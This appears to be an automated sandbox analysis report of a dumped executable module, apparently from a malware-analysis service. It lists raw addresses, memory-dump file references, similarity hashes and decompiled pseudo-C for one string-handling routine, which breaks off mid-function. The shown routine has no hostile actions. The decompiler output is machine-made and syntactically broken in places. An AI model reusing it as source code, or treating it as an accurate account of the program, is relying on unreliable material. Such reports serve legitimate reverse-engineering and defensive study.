0x6ebb2bb7
0x6ebb2bb7
0x6ebb2bb9
0x6ebb2bbd
0x6ebb2d0b
0x6ebb2d0b
0x6ebb2d12
0x6ebb2d14
0x6ebb2d1a
0x6ebb2d1c
0x6ebb2d1e
0x6ebb2d58
0x00000000
0x6ebb2d58
0x6ebb2d20
0x6ebb2d22
0x6ebb2d48
0x6ebb2d48
0x6ebb2d4a
0x6ebb2d4b
0x6ebb2d50
0x00000000
0x6ebb2d50
0x6ebb2d24
0x6ebb2d27
0x6ebb2d29
0x6ebb2d2b
0x00000000
0x00000000
0x6ebb2d2d
0x6ebb2d2d
0x6ebb2d2f
0x6ebb2d2f
0x6ebb2d30
0x6ebb2d35
0x6ebb2d39
0x6ebb2d3b
0x00000000
0x00000000
0x6ebb2d3d
0x6ebb2d41
0x6ebb2d44
0x6ebb2d46
0x00000000
0x00000000
0x00000000
0x6ebb2d46
0x00000000
0x6ebb2d2f
0x6ebb2bc3
0x6ebb2bc7
0x00000000
0x00000000
0x6ebb2bcd
0x6ebb2bcf
0x6ebb2c36
0x6ebb2c3b
0x6ebb2c3b
0x6ebb2c3e
0x6ebb2c41
0x6ebb2c44
0x6ebb2c46
0x6ebb2c59
0x6ebb2c5c
0x6ebb2c5c
0x6ebb2c62
0x6ebb2c6a
0x6ebb2c6a
0x6ebb2c6a
0x6ebb2c6d
0x6ebb2c74
0x6ebb2c77
0x6ebb2c78
0x6ebb2c7c
0x6ebb2c81
0x6ebb2c85
0x6ebb2c87
0x6ebb2c8d
0x6ebb2c8f
0x6ebb2c91
0x6ebb2cd6
0x00000000
0x6ebb2c93
0x6ebb2c93
0x6ebb2c95
0x6ebb2cc1
0x6ebb2cc1
0x6ebb2cc3
0x6ebb2cc4
0x6ebb2cc8
0x6ebb2ccd
0x6ebb2cd1
0x6ebb2cd9
0x6ebb2cd9
0x6ebb2cdc
0x6ebb2cdf
0x6ebb2ce1
0x6ebb2ce1
0x6ebb2ce3
0x00000000
0x00000000
0x6ebb2ce9
0x6ebb2ced
0x6ebb2cf3
0x6ebb2cf3
0x6ebb2cf6
0x6ebb2cf7
0x6ebb2cf9
0x6ebb2cfb
0x00000000
0x00000000
0x6ebb2cfd
0x6ebb2cff
0x6ebb2d60
0x00000000
0x6ebb2d60
0x6ebb2d01
0x6ebb2d01
0x6ebb2d03
0x00000000
0x00000000
0x6ebb2cf1
0x6ebb2cf2
0x6ebb2cf2
0x6ebb2cf2
0x6ebb2cf3
0x6ebb2c97
0x6ebb2c9a
0x6ebb2c9c
0x6ebb2c9e
0x00000000
0x00000000
0x6ebb2ca0
0x6ebb2ca3
0x6ebb2ca3
0x6ebb2ca5
0x6ebb2ca5
0x6ebb2ca6
0x6ebb2cab
0x6ebb2caf
0x6ebb2cb1
0x00000000
0x00000000
0x6ebb2cb3
0x6ebb2cb7
0x6ebb2cba
0x6ebb2cbc
0x00000000
0x00000000
0x00000000
0x6ebb2cbc
0x6ebb2cbe
0x00000000
0x6ebb2cbe
0x6ebb2c91
0x6ebb2c48
0x00000000
0x6ebb2c48
0x6ebb2bd1
0x6ebb2bd5
0x6ebb2bd5
0x6ebb2bd8
0x6ebb2bec
0x6ebb2bf8
0x6ebb2bf8
0x6ebb2bfe
0x6ebb2bfe
0x6ebb2c03
0x6ebb2c07
0x6ebb2c0b
0x6ebb2c0d
0x00000000
0x00000000
0x6ebb2c13
0x6ebb2c16
0x6ebb2c18
0x00000000
0x00000000
0x6ebb2c1a
0x6ebb2c20
0x6ebb2c31
0x6ebb2c31
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb2c22
0x6ebb2c22
0x6ebb2c22
0x6ebb2c26
0x00000000
0x00000000
0x6ebb2c28
0x6ebb2c29
0x6ebb2c2f
0x00000000
0x00000000
0x00000000
0x6ebb2c2f
0x00000000
0x6ebb2c22
0x6ebb2d69
0x6ebb2d6c
0x00000000
0x6ebb2d6c
0x6ebb2bdc
0x6ebb2bde
0x6ebb2bde
0x6ebb2be1
0x6ebb2be1
0x6ebb2be5
0x00000000
0x00000000
0x6ebb2be7
0x6ebb2be8
0x6ebb2bea
0x00000000
0x00000000
0x00000000
0x6ebb2bea
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb2b87
0x6ebb2b87
0x6ebb2b87
0x6ebb2b8b
0x00000000
0x00000000
0x6ebb2b8d
0x6ebb2b8e
0x6ebb2b94
0x00000000
0x00000000
0x00000000
0x6ebb2b94
0x00000000
0x6ebb2b87
0x6ebb2d73
0x6ebb2d76
0x00000000
0x6ebb2d76
0x6ebb2b41
0x6ebb2b43
0x6ebb2b43
0x6ebb2b46
0x6ebb2b46
0x6ebb2b4a
0x00000000
0x00000000
0x6ebb2b4c
0x6ebb2b4d
0x6ebb2b4f
0x00000000
0x00000000
0x00000000
0x6ebb2b4f
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb2b24
0x6ebb2b24
0x6ebb2b24
0x6ebb2b28
0x00000000
0x00000000
0x6ebb2b2a
0x6ebb2b2b
0x6ebb2b31
0x00000000
0x00000000
0x00000000
0x6ebb2b31
0x00000000
0x6ebb2b24
0x6ebb2d7d
0x6ebb2d80
0x00000000
0x6ebb2d80
0x6ebb2adf
0x6ebb2ae1
0x6ebb2ae1
0x6ebb2ae3
0x6ebb2ae3
0x6ebb2ae7
0x00000000
0x00000000
0x6ebb2ae9
0x6ebb2aea
0x6ebb2aec
0x00000000
0x00000000
0x00000000
0x6ebb2aec
0x00000000
0x6ebb2ae3
0x6ebb2ac0
0x6ebb2ac1
0x6ebb2ac5
0x00000000
0x00000000
0x00000000
0x6ebb2ac5
0x6ebb2d87
0x6ebb2d8b
0x6ebb2d8f
0x6ebb2d95
0x6ebb2d95
0x6ebb2d96
0x00000000
0x00000000
0x6ebb2d9c
0x6ebb2da5
0x6ebb2daa
0x6ebb2dad
0x6ebb2db1
0x00000000
0x00000000
0x6ebb2db7
0x6ebb2dbb
0x6ebb2dbf
0x6ebb2dbf
0x6ebb2dc0
0x6ebb2dc1
0x6ebb2dcb
0x6ebb2dd1
0x6ebb2dd4
0x6ebb2dd6
0x00000000
0x00000000
0x6ebb2dd8
0x6ebb2ddb
0x00000000
0x00000000
0x00000000
0x6ebb2ddd
0x00000000
0x6ebb2dbf
0x6ebb2a50
0x6ebb2a54
0x6ebb2a54
0x6ebb2a58
0x00000000
0x00000000
0x6ebb2a5e
0x6ebb2a5f
0x6ebb2a65
0x00000000
0x00000000
0x6ebb2a67
0x00000000
0x6ebb2a67
0x6ebb2de2
0x6ebb2de2
0x6ebb2de6
0x6ebb2de6
0x6ebb2de8
0x00000000
0x00000000
0x6ebb2dee
0x00000000
0x00000000
0x6ebb2df4
0x6ebb2df8
0x00000000
0x6ebb2df8
0x6ebb2e01
0x6ebb2e04
0x6ebb2e08
0x6ebb2e0a
0x00000000
0x6ebb2e0a
0x6ebb29ef
0x6ebb29f3
0x6ebb29f5
0x6ebb29f5
0x6ebb29f7
0x6ebb29f7
0x6ebb29fb
0x00000000
0x00000000
0x6ebb2a01
0x6ebb2a02
0x6ebb2a04
0x00000000
0x00000000
0x6ebb2a06
0x00000000
0x6ebb2a06
0x00000000
0x6ebb2e10
0x6ebb2e10
0x6ebb2e14
0x6ebb2e18
0x6ebb2e18
0x00000000
0x6ebb2e20
0x00000000
0x6ebb287e
0x6ebb2807
0x6ebb280a
0x6ebb280c
0x6ebb280e
0x00000000
0x00000000
0x6ebb2810
0x6ebb2814
0x6ebb2814
0x6ebb2816
0x6ebb281a
0x6ebb281d
0x6ebb281d
0x6ebb281e
0x6ebb2823
0x6ebb2827
0x6ebb2829
0x00000000
0x00000000
0x6ebb282b
0x6ebb282f
0x6ebb2832
0x6ebb2834
0x00000000
0x00000000
0x00000000
0x6ebb2834
0x6ebb2836
0x6ebb283a
0x6ebb283e
0x00000000
0x6ebb283e
0x6ebb2801
0x6ebb27bf
0x00000000
0x6ebb27bf
0x6ebb273b
0x6ebb273b
0x6ebb273e
0x6ebb2756
0x6ebb275a
0x6ebb2766
0x6ebb2766
0x6ebb276c
0x6ebb276c
0x6ebb2771
0x6ebb2775
0x6ebb2779
0x6ebb277b
0x00000000
0x00000000
0x6ebb2781
0x6ebb2784
0x6ebb2786
0x00000000
0x00000000
0x6ebb2788
0x6ebb278e
0x6ebb27a3
0x6ebb27a3
0x6ebb27a8
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb2790
0x6ebb2790
0x6ebb2790
0x6ebb2794
0x00000000
0x00000000
0x6ebb279a
0x6ebb279b
0x6ebb27a1
0x00000000
0x00000000
0x00000000
0x6ebb27a1
0x6ebb2e25
0x6ebb2e25
0x6ebb2e28
0x6ebb2e36
0x6ebb2e2a
0x6ebb2e2a
0x6ebb2e2d
0x6ebb2e2d
0x00000000
0x6ebb2e28
0x6ebb2e40
0x6ebb2e43
0x00000000
0x6ebb2e43
0x6ebb2742
0x6ebb2744
0x6ebb2744
0x6ebb2747
0x6ebb2747
0x6ebb274b
0x00000000
0x00000000
0x6ebb2751
0x6ebb2752
0x6ebb2754
0x00000000
0x00000000
0x00000000
0x6ebb2754
0x00000000
0x6ebb2747
0x6ebb2728
0x00000000
0x6ebb2728
0x6ebb26de
0x6ebb2704
0x6ebb2704
0x6ebb2706
0x6ebb2707
0x6ebb270c
0x00000000
0x6ebb270c
0x6ebb26e0
0x6ebb26e3
0x6ebb26e7
0x00000000
0x00000000
0x6ebb26e9
0x6ebb26eb
0x6ebb26eb
0x6ebb26ec
0x6ebb26f1
0x6ebb26f7
0x00000000
0x00000000
0x6ebb26f9
0x6ebb26fd
0x6ebb2702
0x00000000
0x00000000
0x00000000
0x6ebb2702
0x00000000

Strings

@, xrefs: 6EBB2718

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction ID: 158329ba37efe8b0eae5e60e191263b6a529e9bd8e9dd3508f8c4486dcc5419c
Opcode Fuzzy Hash: 933df8fe11205ce58da33e9f299d6ed847c0e435b40f8ebfae3a0afc1ac406fd
Instruction Fuzzy Hash: 55322B71A183D34BE7158EA9C49033A7FE6AFC6310F198A6DE8E55B295DF34C941C382

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB1730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EBB1730(unsigned int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				unsigned int _v68;
				char* _t181;
				signed int _t182;
				signed int* _t188;
				signed int _t192;
				signed int* _t193;
				signed int _t198;
				signed int _t202;
				signed int _t205;
				void* _t206;
				signed int _t211;
				signed int _t214;
				signed int _t226;
				signed int _t228;
				signed int _t233;
				signed int _t236;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t244;
				signed int _t245;
				signed int _t251;
				signed int _t252;
				signed int _t258;
				signed int _t260;
				signed int _t261;
				char _t262;
				char _t263;
				signed int _t264;
				signed int _t265;
				void* _t268;
				signed int _t270;
				char _t272;
				unsigned int _t275;
				signed int _t276;
				signed int _t279;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t301;
				signed int _t303;
				signed int _t309;
				signed int _t312;
				signed int _t314;
				signed int _t320;
				signed int _t321;
				signed int _t323;
				signed int _t324;
				void* _t325;
				signed int _t326;
				signed int _t327;
				signed int _t330;
				signed int* _t331;
				void* _t332;
				signed int _t333;
				signed int _t334;
				signed int _t335;
				signed int _t339;
				intOrPtr* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t347;
				char _t349;
				char _t350;
				char _t351;
				unsigned int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t360;
				signed int _t361;
				signed int _t363;
				unsigned int _t368;
				signed int _t370;
				signed int _t372;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				signed int _t382;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				void* _t391;

				_v56 = 0;
				_t353 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t363 = E6EBA1030();
				_t391 = (_t388 & 0xfffffff0) - 0x34 + 4;
				_t181 = _v56;
				if(_t181 == 0) {
					 *_t363 = 0;
					L8:
					_t182 = _a8;
					_v52 = 0x40;
					_v56 = _t363;
					if(_t182 != 0) {
						__eflags = _t363;
						if(_t363 == 0) {
							_t260 = 0x40;
							_t240 = 0;
							L22:
							_t20 = _t240 + 2; // 0x80000001
							_t289 = _t20;
							__eflags = _t289 - 0x40;
							_t290 =  <=  ? 0x40 : _t289;
							__eflags = _t260 - _t290;
							if(_t260 < _t290) {
								_t368 = (_t290 >> 5 >> 0x1a) + _t290 >> 6;
								_t291 = _t290 & 0x8000003f;
								__eflags = _t291;
								if(_t291 < 0) {
									_t291 = (_t291 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t291;
								}
								__eflags = _t291;
								_t370 = _t368 + (0 | _t291 > 0x00000000) << 6;
								_push(_t370);
								_t261 = E6EBA1030();
								_t391 = _t391 + 4;
								_t292 = _v56;
								__eflags = _t292;
								if(_t292 == 0) {
									 *_t261 = 0;
									goto L35;
								} else {
									__eflags = _t261;
									if(_t261 == 0) {
										L33:
										_push(1);
										_push(_t292);
										_v68 = _t261;
										E6EBA10B0();
										_t261 = _v68;
										_t391 = _t391 + 8;
										L35:
										_v52 = _t370;
										_v56 = _t261;
										L36:
										 *((char*)(_t261 + _t240)) = _a8;
										_t188 =  &_v56;
										 *((char*)(_t240 +  *_t188 + 1)) = 0;
										L37:
										_t294 =  *_t188;
										if(_t294 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t241 = E6EBA1030();
											_t391 = _t391 + 4;
											_t192 =  *_a4;
											if(_t192 == 0) {
												 *_t241 = 0;
												L60:
												_t193 = _a4;
												 *_t193 = _t241;
												_t193[1] = 0x40;
												L61:
												_push(1);
												_push(_v56);
												E6EBA10B0();
												_v56 = 0;
												_v52 = 0;
												return _a4;
											}
											if(_t241 == 0) {
												L45:
												_push(1);
												_push(_t192);
												E6EBA10B0();
												_t391 = _t391 + 8;
												goto L60;
											}
											_t296 =  *_t192;
											 *_t241 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t262 =  *((char*)(_t192 + _t297 * 2 - 1));
												 *((char*)(_t241 + _t297 * 2 - 1)) = _t262;
												if(_t262 == 0) {
													goto L45;
												}
												_t263 =  *((char*)(_t192 + _t297 * 2));
												 *((char*)(_t241 + _t297 * 2)) = _t263;
												if(_t263 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t198 =  *_t294;
										if(_t198 != 0) {
											_t355 =  *_t353;
											__eflags = _t355;
											if(_t355 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t241 = E6EBA1030();
												_t391 = _t391 + 4;
												_t202 =  *_a4;
												__eflags = _t202;
												if(_t202 == 0) {
													 *_t241 = 0;
													goto L60;
												}
												__eflags = _t241;
												if(_t241 == 0) {
													L58:
													_push(1);
													_push(_t202);
													E6EBA10B0();
													_t391 = _t391 + 8;
													goto L60;
												}
												_t299 =  *_t202;
												 *_t241 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t264 =  *((char*)(_t202 + _t300 * 2 - 1));
													 *(_t241 + _t300 * 2 - 1) = _t264;
													__eflags = _t264;
													if(_t264 == 0) {
														goto L58;
													}
													_t265 =  *((char*)(_t202 + _t300 * 2));
													 *(_t241 + _t300 * 2) = _t265;
													__eflags = _t265;
													if(_t265 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t355;
											if( *_t355 == 0) {
												goto L52;
											}
											_v48 = _t198;
											_t372 = _t198 - 0x41;
											__eflags = _t372 - 0x19;
											_v64 = _t372;
											_t267 =  >  ? _t198 : _t198 + 0x20;
											_t243 =  >  ? _t198 : _t198 + 0x20;
											_t268 = 0;
											__eflags = 0;
											_v68 =  >  ? _t198 : _t198 + 0x20;
											_v36 = _t294;
											_t244 = _t355;
											while(1) {
												_t301 =  *_t244;
												__eflags = _t301 - 0x41 - 0x19;
												_t302 =  <=  ? _t301 + 0x20 : _t301;
												__eflags = ( <=  ? _t301 + 0x20 : _t301) - _v68;
												if(( <=  ? _t301 + 0x20 : _t301) == _v68) {
													break;
												}
												_t268 = _t268 + 1;
												_t244 = _t244 + 1;
												__eflags =  *((char*)(_t268 + _t355));
												if( *((char*)(_t268 + _t355)) != 0) {
													continue;
												}
												goto L52;
											}
											_t205 = _v48;
											_t303 = _v36;
											__eflags = _t244;
											if(_t244 == 0) {
												goto L52;
											}
											_t270 = _t303 & 0x0000000f;
											_v44 = _t205 + 0x20;
											asm("pxor xmm0, xmm0");
											_v40 = _t355;
											_t377 =  ~_t270 + 0x10;
											__eflags = _t377;
											_v48 = _t205;
											_v36 = _t303;
											do {
												_t356 = _t270;
												__eflags = _t270;
												if(_t270 == 0) {
													L69:
													_v32 = _t377;
													_t309 =  ~( ~_t356 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t309;
													_t378 = _v36;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t205;
														if(_t205 != 0) {
															break;
														}
														_t356 = _t356 + 0x10;
														__eflags = _t356 - _t309;
														if(_t356 < _t309) {
															continue;
														}
														_v36 = _t378;
														_t379 = _v32;
														__eflags = _t309 - 0x7fffffff;
														if(_t309 >= 0x7fffffff) {
															L77:
															_t309 = 0x7fffffff;
															L78:
															_v60 = _t309;
															_t206 = 0;
															__eflags = 0;
															_v68 = _t270;
															_v32 = _t379;
															while(1) {
																_t310 =  *((char*)(_t206 + _t244));
																_t272 =  *((char*)(_t206 + _v36));
																_t110 = _t310 - 0x61; // 0x7fffff9e
																__eflags = _t110 - 0x19;
																_t111 = _t310 - 0x20; // 0x7fffffdf
																_t311 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																__eflags = _t272 - 0x61 - 0x19;
																_t312 =  <=  ? _t111 :  *((char*)(_t206 + _t244));
																_t273 =  <=  ? _t272 - 0x20 : _t272;
																_t274 =  <=  ? _t272 - 0x20 : _t272;
																__eflags = _t312 - ( <=  ? _t272 - 0x20 : _t272);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t312;
																if(_t312 == 0) {
																	L83:
																	_t360 = _v40;
																	__eflags = _t244;
																	if(_t244 == 0) {
																		goto L52;
																	}
																	_t245 = _t244 - _t360;
																	__eflags = _t245;
																	if(_t245 != 0) {
																		_t279 = _t360 & 0x0000000f;
																		__eflags = _t279;
																		if(_t279 == 0) {
																			L97:
																			_t320 =  ~( ~_t279 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																			__eflags = _t320;
																			while(1) {
																				asm("movdqu xmm1, [edi+ecx]");
																				asm("pcmpeqb xmm1, xmm0");
																				asm("pmovmskb eax, xmm1");
																				__eflags = _t205;
																				if(_t205 != 0) {
																					break;
																				}
																				_t279 = _t279 + 0x10;
																				__eflags = _t279 - _t320;
																				if(_t279 < _t320) {
																					continue;
																				}
																				__eflags = _t320 - 0x7fffffff;
																				if(_t320 >= 0x7fffffff) {
																					L103:
																					_t320 = 0x7fffffff;
																					L104:
																					_t211 = _t320 >> 0x0000001f & _t320;
																					_t321 = _t320 - _t211;
																					__eflags = _t245;
																					if(_t245 < 0) {
																						L106:
																						_t245 = _t321;
																						L107:
																						_t280 = _a4;
																						 *_t280 = 0;
																						 *((intOrPtr*)(_t280 + 4)) = 0;
																						_t386 = _t211 + _t360;
																						__eflags = _t386;
																						_v64 = _t386;
																						if(_t386 == 0) {
																							L141:
																							_push(0x40);
																							_t241 = E6EBA1030();
																							_t391 = _t391 + 4;
																							_t214 =  *_a4;
																							__eflags = _t214;
																							if(_t214 == 0) {
																								 *_t241 = 0;
																								goto L60;
																							}
																							__eflags = _t241;
																							if(_t241 == 0) {
																								L147:
																								_push(1);
																								_push(_t214);
																								E6EBA10B0();
																								_t391 = _t391 + 8;
																								goto L60;
																							}
																							_t323 =  *_t214;
																							 *_t241 = _t323;
																							__eflags = _t323;
																							if(_t323 == 0) {
																								goto L147;
																							}
																							_t324 = 0;
																							__eflags = 0;
																							while(1) {
																								_t324 = _t324 + 1;
																								_t281 =  *((char*)(_t214 + _t324 * 2 - 1));
																								 *(_t241 + _t324 * 2 - 1) = _t281;
																								__eflags = _t281;
																								if(_t281 == 0) {
																									goto L147;
																								}
																								_t282 =  *((char*)(_t214 + _t324 * 2));
																								 *(_t241 + _t324 * 2) = _t282;
																								__eflags = _t282;
																								if(_t282 != 0) {
																									continue;
																								}
																								goto L147;
																							}
																							goto L147;
																						}
																						__eflags =  *(_t360 + _t211);
																						if( *(_t360 + _t211) == 0) {
																							goto L141;
																						}
																						__eflags = _t245;
																						if(_t245 != 0) {
																							L121:
																							_t137 = _t245 + 1; // 0x80000000
																							_t325 = _t137;
																							__eflags = _t325 - 0x40;
																							_t326 =  <=  ? 0x40 : _t325;
																							__eflags = _t326;
																							if(_t326 > 0) {
																								_v68 = (_t326 >> 5 >> 0x1a) + _t326 >> 6;
																								_t327 = _t326 & 0x8000003f;
																								__eflags = _t327;
																								if(_t327 < 0) {
																									_t327 = (_t327 - 0x00000001 | 0xffffffc0) + 1;
																									__eflags = _t327;
																								}
																								__eflags = _t327;
																								_t330 = _v68 + (0 | _t327 > 0x00000000) << 6;
																								_v68 = _t330;
																								_push(_t330);
																								_t387 = E6EBA1030();
																								_t391 = _t391 + 4;
																								_t226 =  *_a4;
																								__eflags = _t226;
																								if(_t226 == 0) {
																									 *_t387 = 0;
																									goto L133;
																								} else {
																									__eflags = _t387;
																									if(_t387 == 0) {
																										L131:
																										_push(1);
																										_push(_t226);
																										E6EBA10B0();
																										_t391 = _t391 + 8;
																										L133:
																										_t331 = _a4;
																										_t331[1] = _v68;
																										 *_t331 = _t387;
																										L134:
																										__eflags = _t387;
																										if(_t387 == 0) {
																											goto L61;
																										}
																										_t283 = _v64;
																										_t332 = 0;
																										while(1) {
																											_t228 =  *_t283;
																											_t332 = _t332 + 1;
																											 *_t387 = _t228;
																											__eflags = _t245;
																											if(_t245 == 0) {
																												goto L139;
																											}
																											__eflags = _t332 - _t245;
																											if(_t332 == _t245) {
																												 *(_t387 + 1) = 0;
																												goto L61;
																											}
																											L139:
																											__eflags = _t228;
																											if(_t228 == 0) {
																												goto L61;
																											}
																											_t387 = _t387 + 1;
																											_t283 = _t283 + 1;
																											__eflags = _t283;
																										}
																									}
																									_t333 =  *_t226;
																									 *_t387 = _t333;
																									__eflags = _t333;
																									if(_t333 == 0) {
																										goto L131;
																									}
																									_t284 = 0;
																									__eflags = 0;
																									while(1) {
																										_t284 = _t284 + 1;
																										_t334 =  *((char*)(_t226 + _t284 * 2 - 1));
																										 *(_t387 + _t284 * 2 - 1) = _t334;
																										__eflags = _t334;
																										if(_t334 == 0) {
																											goto L131;
																										}
																										_t335 =  *((char*)(_t226 + _t284 * 2));
																										 *(_t387 + _t284 * 2) = _t335;
																										__eflags = _t335;
																										if(_t335 != 0) {
																											continue;
																										}
																										goto L131;
																									}
																									goto L131;
																								}
																							}
																							_t387 = 0;
																							goto L134;
																						}
																						_t361 = _t360 + _t211;
																						_t339 = _t361 & 0x0000000f;
																						__eflags = _t339;
																						if(_t339 == 0) {
																							L114:
																							_t245 =  ~( ~_t339 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t245;
																							while(1) {
																								asm("movdqu xmm1, [edi+edx]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb eax, xmm1");
																								__eflags = _t211;
																								if(_t211 != 0) {
																									break;
																								}
																								_t339 = _t339 + 0x10;
																								__eflags = _t339 - _t245;
																								if(_t339 < _t245) {
																									continue;
																								}
																								__eflags = _t245 - 0x7fffffff;
																								if(_t245 >= 0x7fffffff) {
																									L120:
																									_t245 = 0x7fffffff;
																									goto L121;
																								} else {
																									goto L118;
																								}
																								while(1) {
																									L118:
																									__eflags =  *((char*)(_t245 + _t361));
																									if( *((char*)(_t245 + _t361)) == 0) {
																										goto L121;
																									}
																									_t245 = _t245 + 1;
																									__eflags = _t245 - 0x7fffffff;
																									if(_t245 < 0x7fffffff) {
																										continue;
																									}
																									goto L120;
																								}
																								goto L121;
																							}
																							asm("bsf ebx, eax");
																							_t245 = _t245 + _t339;
																							goto L121;
																						}
																						_t245 = 0;
																						_t339 =  ~_t339 + 0x10;
																						__eflags = _t339;
																						while(1) {
																							__eflags =  *((char*)(_t245 + _t361));
																							if( *((char*)(_t245 + _t361)) == 0) {
																								goto L121;
																							}
																							_t245 = _t245 + 1;
																							__eflags = _t245 - _t339;
																							if(_t245 < _t339) {
																								continue;
																							}
																							goto L114;
																						}
																						goto L121;
																					}
																					__eflags = _t245 - _t321;
																					if(_t245 <= _t321) {
																						goto L107;
																					}
																					goto L106;
																				} else {
																					goto L101;
																				}
																				while(1) {
																					L101:
																					__eflags =  *((char*)(_t320 + _t360));
																					if( *((char*)(_t320 + _t360)) == 0) {
																						goto L104;
																					}
																					_t320 = _t320 + 1;
																					__eflags = _t320 - 0x7fffffff;
																					if(_t320 < 0x7fffffff) {
																						continue;
																					}
																					goto L103;
																				}
																				goto L104;
																			}
																			asm("bsf edx, eax");
																			_t320 = _t320 + _t279;
																			goto L104;
																		}
																		_t320 = 0;
																		_t279 =  ~_t279 + 0x10;
																		__eflags = _t279;
																		while(1) {
																			__eflags =  *((char*)(_t320 + _t360));
																			if( *((char*)(_t320 + _t360)) == 0) {
																				goto L104;
																			}
																			_t320 = _t320 + 1;
																			__eflags = _t320 - _t279;
																			if(_t320 < _t279) {
																				continue;
																			}
																			goto L97;
																		}
																		goto L104;
																	}
																	_t341 = _a4;
																	_push(0x40);
																	 *_t341 = 0;
																	 *((intOrPtr*)(_t341 + 4)) = 0;
																	_t241 = E6EBA1030();
																	_t391 = _t391 + 4;
																	_t233 =  *_a4;
																	__eflags = _t233;
																	if(_t233 == 0) {
																		 *_t241 = 0;
																		goto L60;
																	}
																	__eflags = _t241;
																	if(_t241 == 0) {
																		L91:
																		_push(1);
																		_push(_t233);
																		E6EBA10B0();
																		_t391 = _t391 + 8;
																		goto L60;
																	}
																	_t342 =  *_t233;
																	 *_t241 = _t342;
																	__eflags = _t342;
																	if(_t342 == 0) {
																		goto L91;
																	}
																	_t343 = 0;
																	__eflags = 0;
																	while(1) {
																		_t343 = _t343 + 1;
																		_t286 =  *((char*)(_t233 + _t343 * 2 - 1));
																		 *(_t241 + _t343 * 2 - 1) = _t286;
																		__eflags = _t286;
																		if(_t286 == 0) {
																			goto L91;
																		}
																		_t287 =  *((char*)(_t233 + _t343 * 2));
																		 *(_t241 + _t343 * 2) = _t287;
																		__eflags = _t287;
																		if(_t287 != 0) {
																			continue;
																		}
																		goto L91;
																	}
																	goto L91;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v60;
																if(_t206 < _v60) {
																	continue;
																}
																goto L83;
															}
															_t275 = _v68;
															_t382 = _v32;
															_t314 = _t244 + 1;
															__eflags = _t314;
															if(_t314 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v44 : _v48;
															_t205 =  <=  ? _v44 : _v48;
															__eflags =  *(_t244 + 1);
															if( *(_t244 + 1) == 0) {
																goto L52;
															}
															_v68 = _t275;
															_v32 = _t382;
															while(1) {
																_t244 = _t244 + 1;
																_t314 = _t314 + 1;
																_t276 =  *_t244 & 0x000000ff;
																__eflags =  *((char*)(_t314 - 1)) + 0xffffffbf - 0x19;
																_t277 =  <=  ? _t276 + 0x20 : _t276;
																__eflags = ( <=  ? _t276 + 0x20 : _t276) - _t205;
																if(( <=  ? _t276 + 0x20 : _t276) == _t205) {
																	goto L163;
																}
																__eflags =  *_t314;
																if( *_t314 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L163;
														}
														_t205 = _v36;
														while(1) {
															__eflags =  *((char*)(_t309 + _t205));
															if( *((char*)(_t309 + _t205)) == 0) {
																break;
															}
															_t309 = _t309 + 1;
															__eflags = _t309 - 0x7fffffff;
															if(_t309 < 0x7fffffff) {
																continue;
															}
															_v36 = _t205;
															goto L77;
														}
														L158:
														_v36 = _t205;
														L159:
														__eflags = _t309;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														goto L83;
													}
													asm("bsf edx, eax");
													_v36 = _t378;
													_t309 = _t309 + _t356;
													_t379 = _v32;
													goto L159;
